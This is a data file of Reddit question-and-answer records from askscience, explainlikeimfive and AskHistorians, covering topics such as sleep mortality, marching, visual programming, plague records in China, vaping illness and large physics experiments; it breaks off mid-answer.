{"q_id": "g515e", "title": "As a young, healthy male, what are the odds that I will die in my sleep tonight?", "selftext": "Natural causes.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g515e/as_a_young_healthy_male_what_are_the_odds_that_i/", "answers": {"a_id": ["c1kyeo2"], "score": [7], "text": ["Not specifically for males, but here's an estimate, using [data](_URL_0_) on death rates for 25-34-y/os in the United States in 2005.\n\nOverall annual death rate is 104 per 100,000. Of that, 59/100k is due to either accidents, suicide, or homicide. So death from all other causes is 45 per 100k annually, or roughly one-in-a-million (0.00012%) daily, if we assume deaths are evenly distributed through the year.\n\nThat's only an upper bound, because it includes people who died after a long illness, rather than only people who were healthy (or thought they were healthy, anyway) who suddenly died in their sleep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.disastercenter.com/cdc/Leading%20Cause%20of%20Death%201999-2005.html"]]}
{"q_id": "cm4tlc", "title": "what do they do with the rest of the animal that wasn't sold as ground meat for animals such as bison and lamb?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cm4tlc/eli5_what_do_they_do_with_the_rest_of_the_animal/", "answers": {"a_id": ["evzyoxo", "ew01qnf", "ew0803n"], "score": [7, 4, 3], "text": ["At the subzero warehouse I worked all scraps or \u201cdamaged\u201d material was thrown in a big cardboard box,defaced with red dye and sent to the dog food rendering plant.   \nThe warehouse was operated by the 2nd largest producer of chicken products.", "Grocery stores aren't usually interested in stocking a lot of cuts from less popular animals like bison or lamb since there isn't much demand for them and there isn't much space to use for less popular items. Cuts like lamb sirloin or bison brisket are usually sold to restaurants or specialty shops.", "Well for one, ground meat itself is a great way to use scraps and cuts that aren\u2019t pretty enough to sell on their own. Sausages are another way, and you can use the organs too. Last category, for the really unsellable stuff, is pet food. Bone meal. Etc.\n\nRemember, throwing away *anything* is uneconomical. It costs money to raise these animals, so they want to wring as much profit out of them as possible. Pet food is a great way to dispose of anything you can\u2019t sell otherwise, and pet owners are often willing to pay more for \u201cpremium\u201d foods like bison and lamb."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1hns92", "title": "Did Eisenhower's German ethnicity have any influence on his elevation to Supreme Allied Commander?", "selftext": "Was it considered helpful to the war in Europe that an ethnic German would be leading the fight against Germany? Did Allied leaders hope that Germans in the Western theater might be less willing to fight to the death if those they were fighting were led by a fellow ethnic German? \nI'm taking into account how much German ethnicity accounted for in the Nazi ideology that the soldiers and officers had been immersed in for the past decade.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hns92/did_eisenhowers_german_ethnicity_have_any/", "answers": {"a_id": ["caw4zzr"], "score": [3], "text": ["Ike's appointment was due to his political abilities (which obviously helped him out after the war and were possibly honed while he was an aid to General MacArthur who was very hard to work with and for) which enabled him to work with all the large, ego filled heads of the various Allied generals.  Ike was able to sooth everyone's ruffled feathers when compromising between various Generals who all wanted THEIR plan to the THE plan.  It's been argued that he was seen as pretty much the only general the British generals liked enough to work well with and of course the Americans pretty much flat out refused to have a British general in charge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4dh95c", "title": "why does army have to march instead of just walking normally?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4dh95c/eli5_why_does_army_have_to_march_instead_of_just/", "answers": {"a_id": ["d1qvgex", "d1qvjnc", "d1raffv", "d1rio14"], "score": [17, 2, 5, 2], "text": ["If they don't all keep the same pace, they will fall out of step, and the line of march will become what you see when kindergarten children walk in a group to the park.\n\nAlso it trains and reinforces discipline generally.", "True story, marching in step causes so much vibrations that it can destroy a bridge, so they added the route step - which is just walking in formation with out marching and cadence. ", "One point that I rarely see mentioned but have personal experience of, is that it can help tired or short soldiers keep up and conserve energy (by helping them maintain an efficient stride and acting as a mental boost). \n\nIt actually helps with endurance. Not much, but when you're near your limit it can be what makes the difference between being able to keep going and stopping for a break.\n\nI'm relatively short, I got even shorter legs for my height. The length of a normal relaxed stride for me is significantly shorter than my fellow taller soldiers. If I stick to my own stride length I have to almost jog to keep up whenever one of those tall bastards are leading the unit. It's a really unnatural tempo for me and is really tiring to keep up. It is however what I naturally do in those situations.\n\nWhat is more efficient is for me to take longer steps. It feels way more unnatural but is actually not that much harder. It's really difficult to maintain though. As soon as I stop focusing on it my walk naturally falls back into my regular length, and I either start falling behind, or start almost-jogging again. This often causes a rubberband effect of me falling behind, sprinting to catch up, then falling behind again. Repeat rince. That's interval training and *really* tiring.\n\nBy marching, I can't walk faster. I *have to* extend the stride length. I also have a visual cue for it, since my foot should always land at the same distance behind the person in front of me. I don't have to think. I simply walk, and it's going to be the most efficient step I can take for that speed. No rubber-banding, no focusing on each step. Just walk.\n\nEver tried listening to music while running? Noticed how important it is that the music has the right tempo to match your running speed? That you unconsciously match your steps to it's beat? That when it's a good tempo, you just kinda naturally keep on running at the same speed (the speed of the music) even when tired, instead of gradually slowing down? How you almost forget that you're tired? That's the same effect.\n\nIt's subtle, but it really makes a huge difference when you're carrying a lot of weight and there's a long way to go.\n\nedit: Anecdotal evidence is crap, take my word for it or don't, but during one survival week, my unit was so tired towards the end we could hardly walk. The most tired of us started to demand we stop and rest, even though that would mean we would miss the deadline for arriving. A **big** no-no! We ended up actually switching to proper marching just to help them mentally make it. It worked.", "It also keeps the lines from slowing.  Ever been driving, and run into traffic for no reason?  Well, there is a reason -- everyone isn't moving the same speed.  When someone is moving too fast and brakes and then the person behind jams the brakes and the person behind them, et al, then you get a phantom traffic jam.  Same thing could happen while walking if everyone isn't at the same pace."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "203067", "title": "How do sex hormones influence fat distribution? (and some other related questions that come up in /r/asktransgender all the time and never get properly answered)", "selftext": "How do testosterone and estrogen levels influence sex specific fat storage; is it the case that they effect where 'new fat' is stored or where 'old fat' is burned or a combination of the two?\n\nIf a natal male of say 20 years of age begins MTF HRT (anti-androgens and estrogen) over time their fat shifts to female patterns, what is the process by which this happens? There's a lot of anecdote around about how losing a lot of weight and then gaining it back, or things like intermittent fasting, can speed up this process - is there any truth to this?\n\nI'm in no way asking for medical advice, just information on a biological process - I hope I haven't broken any rules here. These questions come up A LOT within the trans community and it would be good to have some clear answers from people that understand the science behind it. Thanks!\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/203067/how_do_sex_hormones_influence_fat_distribution/", "answers": {"a_id": ["cfzhxxe"], "score": [6], "text": ["This is a great question, but answering it is extremely difficult. We still don't understand endocrinology and metabolism enough to be able to fully untangle how sex hormones and a host of other hormones, growth factors, receptor polymorphisms, etc. work together to affect body composition. \nThese three papers may help start you off: \n\n[Overall Review](_URL_1_)\n\n[Looking at Sex and Race in prepubertal children](_URL_2_)\n\n[Looking at subjects in various stages of Puberty](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://press.endocrine.org/doi/full/10.1210/jcem.85.7.6689", "http://press.endocrine.org/doi/full/10.1210/jcem.84.6.5787", "http://press.endocrine.org/doi/full/10.1210/jcem.87.5.8452"]]}
{"q_id": "4lamna", "title": "why is programming still done using text commands? everything else switched to gui's!", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lamna/eli5why_is_programming_still_done_using_text/", "answers": {"a_id": ["d3lowa0", "d3lp19j", "d3lp8k6", "d3lpv1n", "d3lpzxt", "d3lq5xx", "d3lrpkr", "d3m3w26"], "score": [17, 8, 3, 2, 2, 3, 2, 2], "text": ["There are some graphical software development tools, or flow charts for scripting, but they are usually used for learning or beginners. The GUIs you're referring themselves are powered by back-end code written in raw text.\n\nWriting code is very similar to speaking any other language. Trying to write a program with a GUI would be like trying to have a comprehensive conversation with someone using only a sound board.  You need the freedom to be able to express ideas to the computer in ways that cannot always be encapsulated into a GUI.", "For same reason you don't write messages to your friends using a GUI. It's really much faster to write down \"Hey Mike want to grab a cup of coffee\" than search all those words from a Dictionary using a mouse.\n\nDon't feel overwhelmed by programming syntax. It's actually very simple and intuitive after you get over the first bump. That will take only a couple days.\n\nIn the end you can write any program on earth using very few commands. The rest is just fluff to make your life easier as a developer. You also don't have to remember all the Syntax. Just learn concepts on what you want to do and then google the easiest way to do it.", "There are GUI based programming languages. They still involve some text, but they are more visual.\n\nThere's [Scratch](_URL_1_), which is aimed mainly at children. There's also [Unreal Blueprint](_URL_0_) which is used for scripting within the Unreal game engine.\n\nBut things like this only have limited use in industry. When you start creating a lot of complex functionality, they can become unwieldy and inconvenient. I know with Blueprint you can end up with giant sprawls of boxes with lines going everywhere that can be hard to follow.\n\nSo once you know what you're doing, using text is far more convenient and easier to both read and write. I can generally type code faster than I could use a GUI to select the appropriate functions and wire them together in the correct way. I think the sort of person who is going to be good at programming is generally the sort of person who is more comfortable doing in text form.\n\nPlus modern programming tools have lots of convenience features like auto-complete. So you don't have to actually type out the whole of MyVeryVeryLongFunctionName(). The IDE (Integrated Development Environment) maintains a database of the functions that you can use and detects the possible options based on what you've typed so far.", "To program a computer you need to talk to it in a language it can understand. We use written languages to talk to computers for the same reason we use written languages to talk to each other: they are faster and you can fit more in the same space.\n\nThere are two reasons that I can think of to use a GUI:\n\n1. They have a very shallow learning curve. It's like going to a foreign country and pointing at things to communicate. You don't need to learn a new language to use a GUI. Most applications are not designed for computer experts.\n\n2. The application needs instant visual feedback. You can do CAD and edit movies with text commands, but it's a pain.\n\nYou can do almost everything faster with a text based tool once you learn how, as long as it isn't something like CAD where you need to see what you are doing. It just takes a lot longer to learn. Programmers tend to use a lot of text-based tools since they spend thousands upon thousands of hours interacting with their computers, and speed is of the essence.", "Trying to express complex tasks visually takes a lot more space, and gets very convoluted and messy very quickly. Take LabView for example (a visual programming interface). If we want to do a simple task like increment a number by 1 every time a loop \"fires\", we need to express it [like this](_URL_1_). It doesn't take a lot of space to do something simple like that, but in C# I can do the same thing with a couple lines of code:\n\n    int num = 0;\n    bool increment = true;\n    while (true) {\n        if (increment) num++;\n        Console.WriteLine(num);\n    }\n\nIf our code starts getting more and more complex, involving 100x as much code (a relatively conservative program by most standards) as whats listed above in C#, in text commands it simply takes a few hundred lines which are easy to parse through, whereas that tiny little visual program will need to be expanded out to 100x the layout size to accommodate the numerous icons for variables, logic, numbers, outputs, \"wires\" etc. It essentially turns into a \"Where's Waldo\" mess of information which has no well defined logical order of operations, and which has icons and wiring between them scattered all over the place. [Here's an over-the-top example](_URL_0_).\n\nMany languages do have a mix of visual and text based programming, however. WinForms (which is C# with Windows \"friendly\" graphical libraries) and WPF (a more capable, advanced version of WinForms) are two examples, where you create windows with buttons, textboxes, graphs etc visually then define what they do and how they function in text \"behind the scenes\".\n\nTL;DR 100% visual programming is easy when programs are small and simple, but get very messy and unreadable when programs start getting complex. But many programming languages offer a mix of visual and text-based programming nowadays.", "It's ironic that we're here typing textual answers to a question that asserts everything's switched to GUIs. \n\nProgrammers do use GUIs for building GUIs.  They'll drop in and resize text boxes, drag in combo boxes, use a color wheel or other widget to select colors, etc.  Laying out a desktop app isn't much different from laying out a web page, even a static one. \n\nBut describing behavior graphically simply isn't as good. Flow charts can show simple or high level behaviors, but they consume much more space than the equivalent pseudo-code. They'll at best be a hybrid, because we don't have any graphic ways to represent something as common as \"for (i=0; i < MAXV; i++)\" as clearly, succinctly, and unambiguously. \n\nTouch typing is an easy skill, especially if you pick it up when you're young enough to still be in learning mode. When I'm on a roll, I can type a half dozen or more lines of code without even looking at the screen (much more if I'm typing prose). I don't think I've ever seen a GUI that lets me do that. \n\n", "There are, as others commented, GUI programming languages, and for specific purposes they are quite common.\n\nOne example is [ladder programming](_URL_0_), used for decades for automation. You basically draw \"circuits\" with it, and the programmable logic controller runs them.\n\nOther GUI programming languages exist, generally as a way to making things easier for non-programmers.\n\nIf you do a \"record macro\" on MS Word for example, you are effectively creating a program through a GUI, without needing to write any line of text code.\n\nAt some point though, someone had to write a program in a \"lower level\", to make the computer \"accept\" and \"understand\" the GUI, and this program was a conventional text based code (which was compiled by another program into machine code which the computer CPU understands and is even less user friendly).\n\nAt the lowest level, the CPU has to be fed commands in the form of \"numbers\" (there is a numeric code for \"store this number\", another for \"add that with this other number\", etc). Between that and a drag & drop programming interface, there are some layers of progressive user friendliness. For ultimate efficiency some things are still programmed directly in machine code. For ultimate user friendliness, some are programmed with GUIs.\n\nThere will be a point where AI will make it possible for computers to program themselves in the lower levels; one will only need to say what one piece of equipment should do, and an AI \"programmer\" will create the low level code necessary for that. At one point of AI evolution, no more actual coding by humans will be necessary. Then even GUI programming will be unnecessary. We are just not there yet (thankfully, as I'm a programmer myself).", "Imagine creating a program is like building a house.\n\nThere are house-kits out there (GUI's) that can allow you to quickly build your house. If you know what you want and the house-kit has all the parts you need, then that may be a very good option.\n\nBut lets say you want to build a special, custom house. Your bedroom just right, the front door facing exactly east, etc. Then you need the individual raw materials ('command line') to build exactly what you need.\n\nWith the raw materials you have a lot more freedom (and a lot more responsibility) to build your project exactly how you want it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://docs.unrealengine.com/latest/INT/Engine/Blueprints/", "https://scratch.mit.edu/"], [], ["http://www.ni.com/cms/images/devzone/pub/nrjsxmfm912163998723206173.jpg", "http://forums.ni.com/attachments/ni/170/309129/1/Shift%20Register.PNG"], [], ["http://automationprimer.com/2013/04/28/ladder-logic-204-auto-sequences/"], []]}
{"q_id": "wc7mq", "title": "Do animals such as worker ants take days off?", "selftext": "People usually take off personal days now and then.  Do working animals such as worker ants take random days off like we do?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wc7mq/do_animals_such_as_worker_ants_take_days_off/", "answers": {"a_id": ["c5c2zxe", "c5cadk2"], "score": [22, 7], "text": ["When it comes to time off in ant society - [Rank Has It's Privileges.](_URL_0_)", "One of the only references to human notions of \"indolence\" in colonial animals I can find is from *1902* from Kropotkin and concerns the idea of the division of labor among bees and some alleged disruption of cooperative colonial behavior (and he uses words like \"robber\" and lazy\" to describe them) in some proportion of bees.\n\n[Here it is, and with some scrolling, you'll come to what I was talking about](_URL_2_)\n\n\n\nIf you have university access to papers [these guys from the Universities of Illinois and Arizona](_URL_1_) at least incorporate the idea of idling behavior in their models of social insect labor.\n\n\nAnd here's [another that does as well, but **take heed,this will download a PDF](_URL_0_)\n\n(Not a bad PDF to peruse, I should add; lots of good mathematics!)\n\nAlso, at least in some mammals (looks like team vertebrate onwards is where you start seeing animals get kind of sloppy. nuts), [it looks like 'eusocial' arrangements can foster laziness in groups](_URL_3_)\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://news.bbc.co.uk/earth/hi/earth_news/newsid_8100000/8100876.stm"], ["http://www.google.com/url?sa=t&amp;rct=j&amp;q=division%20of%20labor%20laziness%20insects&amp;source=web&amp;cd=4&amp;ved=0CFkQFjAD&amp;url=http%3A%2F%2Fciteseerx.ist.psu.edu%2Fviewdoc%2Fdownload%3Fdoi%3D10.1.1.161.8350%26rep%3Drep1%26type%3Dpdf&amp;ei=Wub8T4TlAuTo6wHD8uH9Bg&amp;usg=AFQjCNFUlWLMwJ721CIF36RuFop40eXCYQ&amp;cad=rja", "http://www.annualreviews.org/doi/abs/10.1146/annurev.ento.46.1.413?journalCode=ento", "http://books.google.com/books?id=MA8jJLKlsqAC&amp;pg=PA17&amp;lpg=PA17&amp;dq=about+the+sugar++plantations+of+the+West+Indies+and+the+sugar+re%EF%AC%81neries+of+Europe,+robbery,+laziness,+and+very+often+drunkenness+become+quite+usual+with+the++bees&amp;source=bl&amp;ots=QOSAmgQXJb&amp;sig=oHTCaBSDF2OoYgC8JYOgALdcJYo&amp;hl=en&amp;sa=X&amp;ei=POX8T7qXAoWY6AH0guDwBg&amp;ved=0CCgQ6AEwAQ#v=onepage&amp;q=about%20the%20sugar%20%20plantations%20of%20the%20West%20Indies%20and%20the%20sugar%20re%EF%AC%81neries%20of%20Europe%2C%20robbery%2C%20laziness%2C%20and%20very%20often%20drunkenness%20become%20quite%20usual%20with%20the%20%20bees&amp;f=false", "http://www.nytimes.com/2006/04/11/science/11find.html"]]}
{"q_id": "bt25hb", "title": "Do we have records of bubonic plague in China?", "selftext": "I know the bubonic plague is thought to be originally from somewhere in asia, carried by the trade and travel the Mongol empires set up.  This means, presumably, it affected China, which was a society with extensive writings and contact with the Mongols.  Do we have contemporary accounts of plague around the time of the black death in Europe, if not, why?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bt25hb/do_we_have_records_of_bubonic_plague_in_china/", "answers": {"a_id": ["eoum8ib", "eoumbfr"], "score": [5, 3], "text": ["The question of where bubonic plague originated is a live one, historiographically speaking, and it's by no means clear that the earliest outbreaks we know of \u2013\u00a0the Plague of Justinian in the sixth century and the Black Death in the 14th \u2013 did in fact begin in east Asia.\n\nThe problem was covered in several earlier posts \u2013 led by [/u/y\\_sengaku](_URL_1_),\u00a0[this thread offers a good guide](_URL_0_) to this discussion and while you are waiting for fresh responses to your query, that's where I'd suggest starting.", "I'm not a historian, but I've done a fair amount of work on this history of infectious diseases. In short, yes, there was writing, but the preserved written records are not particularly helpful, not just in china, but generally, since people didn't practice medicine in a way that allows doctors now to identify the disease, and even if they did, those details weren't usually reported. \n\nFor China in particular, a recent paper by Timothy Brook, a historian at UBC, discusses this. In the response, quoted in part below, Brook's paper explains why the extensive writings that existed in China aren't helpful for answering the question, and why historians think it came from China. (Spoiler: they have genetic evidence.)\n\nAfter discussing lists of plagues compiled based on administrative data, the paper says: \"Whether any of these disease entities is Yersinia pestis [i.e. Bubonic Plague] is impossible to determine from the documentary evidence alone. They could be plague, but they could be the diseases we know as cholera, measles, dysentery, or smallpox, although smallpox was separately designated in traditional Chinese medical terminology as dou. Historians are cautious about retrospective diagnosis, lest this approach predetermine what we are trying to determine (6, 7). However, recent advances in bioarchaeology now make it possible to identify relationships between aDNA and the disease entities we know today (8). Particularly persuasive for this historian is the recent research reconstructing a genealogy for strains of Y. pestis based on core genome analysis (9). That research has identified a polytomy or \u201cbig bang\u201d in the branching of genomic mutation and dated it to 1268, with a 95% confidence interval between 1142 and 1339 [see Green (10) for discussion]. The dating is striking, as it just predates the eruption of the Black Death in Europe in 1346. The findings also strongly indicate that the original plague reservoir was in the Kokonor region along the northeastern edge of the Tibetan massif, which places the disease adjacent to transport routes along the Silk Road.\" (Amusingly to me, at least, Brook notes that he's a historian, responding to epidemiologists, while I'm more of an epidemiologist responding to a question posted to historians. )\n\n(Side note: I looked for data on this to inform a paper I wrote on estimating risk of natural pandemics - _URL_0_ (pdf warning.) It turns out there is frustratingly little good data on the topic in general, and the records we have are likely to be incomplete anyways. But those are issues I discussed in more depth in my paper.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/ardc1c/is_there_any_mongolian_accounts_of_dealing_with/", "https://www.reddit.com/user/y_sengaku/"], ["https://www.liebertpub.com/doi/pdf/10.1089/hs.2018.0039"]]}
{"q_id": "b1yzxj", "title": "If a satellite is in a polar low earth orbit is it still protected from radiation by the van Allen belts?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b1yzxj/if_a_satellite_is_in_a_polar_low_earth_orbit_is/", "answers": {"a_id": ["eip9czb"], "score": [8], "text": ["The van Allen belts themselves don't protect the earth from radiation, they're just particle traps that are a side effect of the shape of the Earth's magnetic field. The magnetic shield around the earth is much larger than the van Allen belts. The poles are protected from most of the solar wind just like the rest of the earth, although they do get a little more radiation than the equator, which is why auroras only occur closer to the poles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cwilp3", "title": "what lung disease has been linked to vaping and is it serious?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cwilp3/eli5_what_lung_disease_has_been_linked_to_vaping/", "answers": {"a_id": ["eycbnw2", "eycrfua"], "score": [43, 9], "text": ["peunomia an irritation of or blocking of the small (tiny small) lung structures (look like trees/lightning) that allow oxygen to pass. Basically it inhibits your ability to take oxygen as you breath and can be quite serious. \n\n\n\n\nIf you inhale anything foreign there's a small risk of that but whilst people talk about pop corn lung - there's never been a case of it. More probable is lipid peunomia where lipid = tiny small oil droplets are suspend in vapour, which bind/block the tree things and you lungs have a very hard time shifting it. \n\n\n\n\n\nI think the recent cases are people vaping bootleg/black market THC oil laced carts which is a really really bad idea (a popper lab made liquid will use a chemically extracted THC suspended in PG/VG or alcohol - not oil) . It might also be some random chemical introduced by bath tub/kitchen liquid makers. We has a few issues many moons ago with DIY folks using essential oils as flavourings especially orange irrc? Do that you're going to have a bad time eventually.\n\n\n\n\n\nEdit: need to add for clarity - whilst 95% safer there's always a risk with breathing in something foreign plus some unlucky people can be allergic to  either base product or any chemical used as a flavouring. Hey pollution from vehicles apparently takes 5-10 years off your life and a London underground tube journey of 30 mins is apparently the equivalent of smoking 2 cigarettes. So everything kills you by small degrees.", "Physician here. Here is the information we have received from the health departments;\n\n- Several cases of lung disease have been reported in the Midwest US. \n\n- All of the patients reported vaping in the weeks to months before they got sick\n\n- As of 08/02 there was no known association with a specific brand or whether there were specific chemicals that were causing it\n\n- Symptoms include cough, shortness of breath, and fatigue, fever, poor appetite, chest pain, nausea, belly pain, diarrhea. \n\n- Some patients require intubation and at least one has died\n\n- Lung imaging shows dense areas in the lungs. \n\n- No infections were found. \n\nSo this is still a developing thing, but it is likely due to an additive from either a manufacturer or added by the smokers that is causing lung damage.  I received the memo 08/02 so they may have made progress on the cause since then."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aq1ump", "title": "how is machine learning being used in business?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aq1ump/eli5_how_is_machine_learning_being_used_in/", "answers": {"a_id": ["egcvt96", "egd0ck7", "egd1wvu", "egd1xsk"], "score": [16, 11, 3, 3], "text": ["Largely, it is being used badly. Unfortunately most of the decision makers don't understand the finer details of what inputs are required, and what the outputs mean - most managers (and I use the term like a four letter word) seem to be of the opinion \"I can buy one machine learning and my business will magically get better, and other businesses will think I am cool\"\n\nFrom personal experience right now, we (I work for a chemical processing company) are trialling a form of ML now, where a whole mess of information is being dumped into the system, from operating conditions(temperatures, pressures, flow rates etc), to maintenance routines, breakdowns, output rate and quality\n\nThe \"hope\" is that we'll be able to let the system learn what combinations of operating conditions, outputs and the like contribute to equipment wear and tear, letting us extend or eliminate some of the more intrusive maintenance and providing something of a crystal ball for when the risk of failure increases (e.g. due to an over-pressure event)", "As Dan Ariely said:\n\n\"Machine learning is like teenage sex. Everybody talks about it. Only some really know how to do it. Everyone thinks everyone else is doing it. So, everyone claims they\u2019re doing it.\"\n\nThe truth is to get to the state of using machine learning effectively, a sophisticated data infrastructure is required and thus there is a ramp up time while you build out the system.  You also, generally, need a large amount of data to realize the value, which may add to that. Because of this, and other reasons that have been stated, the quote above is very applicable.", "Poorly. There are a lot of things that *can* be done with it, but far fewer than people seem to think. Especially if you watch Microsoft\u2019s commercials.\n\nThe broadest example right now is probably ad personalization. After that, probably shopping recommendations. Then maybe Gmail auto replies, I guess. You can see where this is going.\n\nEveryone interacts with features of Apple or Google or Facebook products every day which are heavily based on machine learning. In a sense, someone using their phone to take a picture of a whiteboard is using machine learning for business. That\u2019s probably not what you meant, but it\u2019s closest to the daily reality right now.\n\nPractically speaking, no one has a clue what to do with ML, and even fewer people can even correctly define it. Knowledge will catch up and we\u2019ll see people starting to do creative things, but it takes a while for something this complex and this riddled with misinformation and marketing lies.\n\nHonestly, you personally probably use machine learning an order of magnitude more than almost any company at this point. \n", "It's an untapped and very nascent technology. It's being used in business but all of the infrastructure of tools, frameworks, knowledge, and middleware don't really exist in a way that is easily consumable by your average every day business-- yet. But it's coming. \n\nI liken this era of ML to the early days of the world wide web (not the internet as a whole). Back in the early 1990s , there were few websites and even fewer businesses hosting them. People saw the potential, but the infrastructure wasn't quite there (for one, most people either had dial-up internet access or none at all). Of course it took a few years, but over time everything caught up and the web is ubiquitous and mission critical for most businesses.\n\nML (aka AI) will get there, but we're not there yet. Right now, pretty much the only people who understand how to use it and apply it properly are academics and researchers. But efforts are being made to go beyond this. Entire companies are being formed around harnessing the unique and powerful capabilities that ML can provide. The big players like Amazon, Microsoft, Google, Facebook are investing billions of dollars into it. They all know (or are at least placing heavy bets) that it will be as ubiquitous as the Web was in the 90s and beyond, and the \"Cloud\" was in the 2000s and beyond. \n\nTo completely address the question, if you have ever used a remote deposit app to take a photo of a check and it magically gets added to your bank account, you likely used ML software that handles handwritten digit recognition. This is like one of the most \"basic\" applications of ML, and that's why you see it used commonly today. Without ML, you can't do this reliably at all. If you have done a reverse image search on Google or Bing, you used an application of ML to identify similar images. (ML is extremely good for image processing/recognition). If you've used an app that takes a photo of a dog and it tells you what kind of dog it is, that's ML at work as well.\n\nThese are examples of ML-based tech that is understood and generally reliable (though never perfect). There are many other examples of ML being used by businesses today (usually BIG businesses like oil companies, tech companies, etc.. but they are custom solutions that are in their very early stages of being understood and applied). In the near future, more and more discoveries will be made, more tools and frameworks will exist, and more people will understand how and why machine learning works, and most importantly how to take advantage of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1fojxl", "title": "What are some good resources to find contemporaneous reviews of major classical composers?", "selftext": "I'm looking for databases/websites/etc. that have press reviews of major composers (Mozart, Bach, Handel, Beethoven, Vivaldi, Tchaikovsky, etc.) by their contemporary critics/peers.\n\n((I do have access to some academic databases via my university, if that wides the field of options.))\n\nWhich are the most user-friendly?  What has the most collected works?\n\nAlso, if you have any particularly good review you remember, but can't remember source, feel free to post a paraphrase.  This is for a creative writing piece and not an academic paper, so citations are not so necessary.\n\nThank you very much, in advance, for any help you may provide r/AskHistorians!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fojxl/what_are_some_good_resources_to_find/", "answers": {"a_id": ["cac9l3m"], "score": [3], "text": ["Ooh, this is a toughy actually. I know of no such database, and I have an MLIS, so I *know* me some databases. For Baroque and Classical period, you could find commentary mainly in letters and journals. For later stuff, Romantic and later, these would primarily be found in old newspapers, as you'd imagine, so you'd want to be looking at digital newspaper collections. \n\nAre you looking for a particular composer, or examples from a particular period in music, or even just something like nice \"zingers\" on these composers? I might be able to grab one from my various readings. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "14ba4d", "title": "[Virology] By what method could scientists detect the presence of the HIV virus in human remains that are over 100 years old?", "selftext": "While riding in someone's car recently, I heard a short snippet of a radio story about the HIV virus being found in the remains of a man who died in Africa around the turn of the last century.  That's pretty much all I heard.  My friend doesn't remember which radio station was on at the time.\n\nI'm curious about how traces of a blood-borne virus could be uncovered in such old human remains.  Assuming all that was left was skeletal (i.e., that no mummification occurred), would the virus remain present in residual traces of bone marrow?  \n\nAlso, if anyone else heard this story and can provide more information about it, I'd be very interested in that.  Thanks.\n\nEDIT:  It seems this story is told in a book called [Spillover](_URL_0_), which apparently states that HIV crossed over into a human in 1908.  I still don't know how they detected the virus in the remains, but I'm hoping the book will answer that question.  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14ba4d/virology_by_what_method_could_scientists_detect/", "answers": {"a_id": ["c7bli5o", "c7btul9"], "score": [2, 2], "text": ["HIV virologist here. I have not read the story, or heard about it, but I would be very interested to do so.\n\nHIV is a very sensitive virus, and get destroyed very fast outside cells. I would not expect them to have been able to recover traces of the virus, all the more since its genome is made of RNA, which is unstable.\n\nIf this is real, I would expect them to have recovered some DNA that was integrated into cells of the patient, and while sequencing his cells, they stumbled upon it. That would mean that HIV-sensitive cells' DNA was conserved well enough, which seems unlikely.\n\nI don't expect proteins to be able to survive that long at RT, but another possibility is that they actually did what we do with living patients, which is basically check if they have anti-HIV antibodies.", "Here is the [story](_URL_0_) from 2008."]}, "title_urls": [], "selftext_urls": ["http://www.amazon.com/Spillover-Animal-Infections-Pandemic-ebook/dp/B00856PC4K/ref=tmm_kin_title_0?ie=UTF8&amp;qid=1354747632&amp;sr=8-1"], "answers_urls": [[], ["http://www.nature.com/nature/journal/v455/n7213/full/nature07390.html"]]}
{"q_id": "7dglfn", "title": "What are some physics experiments on the scale of CERN or LIGO that are being built right now?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7dglfn/what_are_some_physics_experiments_on_the_scale_of/", "answers": {"a_id": ["dpxpbfs", "dpxw9k9", "dpy0rsf", "dpy2bmw", "dpy92xz", "dpybipq", "dpyd671"], "score": [34, 8, 6, 15, 8, 6, 3], "text": ["There's a large-scale experimental nuclear fusion reactor being built in France. It's called [ITER](_URL_0_).", "This exact question has been asked here about a month ago: _URL_0_  \nAlso, just to clearify. CERN is a research institute that carries out research in many areas with a lot of different experiments. LHC is a  particle accelerator at CERN, with several experiments (ATLAS, LHC-b, etc.) connected to it. Asking when the next CERN is gonna be built is a bit nonsenical. ", "Look up the [Event Horizon Telescope](_URL_0_). This project combines data from a bunch of radio telescopes around the globe to take a picture of the supermassive black hole in the center of our galaxy.", "[KM3NeT](_URL_0_) is a neutrino telescope currently under construction at the bottom of the Mediterranean.", "I'm not sure if this is on your scale, but the [James web telescope](_URL_0_) is an impressive piece of origami. If successful, it will be the biggest satellite telescope in space. ", "_URL_0_\n\nThis is one scientists are looking forward to.", "The SuperKEKB accelerator with its experiment Belle II is under construction, first collisions are expected for the first half of 2018. It will collide electrons and positrons at (relatively) low energy to study various hadrons with high 